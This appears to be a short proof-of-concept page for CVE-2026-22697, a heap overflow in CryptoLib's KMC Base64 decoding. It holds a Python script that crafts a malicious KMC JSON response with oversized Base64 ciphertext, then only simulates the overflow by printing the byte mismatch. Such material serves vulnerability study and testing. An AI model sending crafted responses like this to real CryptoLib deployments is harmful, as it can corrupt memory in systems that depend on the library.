CryptoLib KMC服务Base64解码堆缓冲区溢出漏洞 (CVE-2026-22697)

import base64 import json # 构造恶意KMC响应，超长Base64字符串触发堆溢出 def generate_malicious_kmc_response(): # 生成超长Base64字符串(超过预期输出长度) oversized_data = b'A' * 10000 # 远超预期的len_data_out malicious_b64 = base64.b64encode(oversized_data).decode('ascii') # 构造恶意JSON响应 malicious_response = { 'cryptographic_service': 'encrypt', 'ciphertext': malicious_b64, 'len_data_out': 1000 # 预期的输出长度 } return json.dumps(malicious_response) # 模拟漏洞触发场景 def trigger_overflow(): response = generate_malicious_kmc_response() data = json.loads(response) ciphertext = data['ciphertext'] expected_len = data['len_data_out'] # 漏洞代码：使用expected_len分配缓冲区 # buffer = malloc(expected_len) # base64_decode(ciphertext, buffer) # 溢出发生 print(f"Expected length: {expected_len}") print(f"Actual Base64 length: {len(ciphertext)}") print(f"Decoded output will exceed buffer by ~{len(base64.b64decode(ciphertext)) - expected_len} bytes") if __name__ == '__main__': trigger_overflow()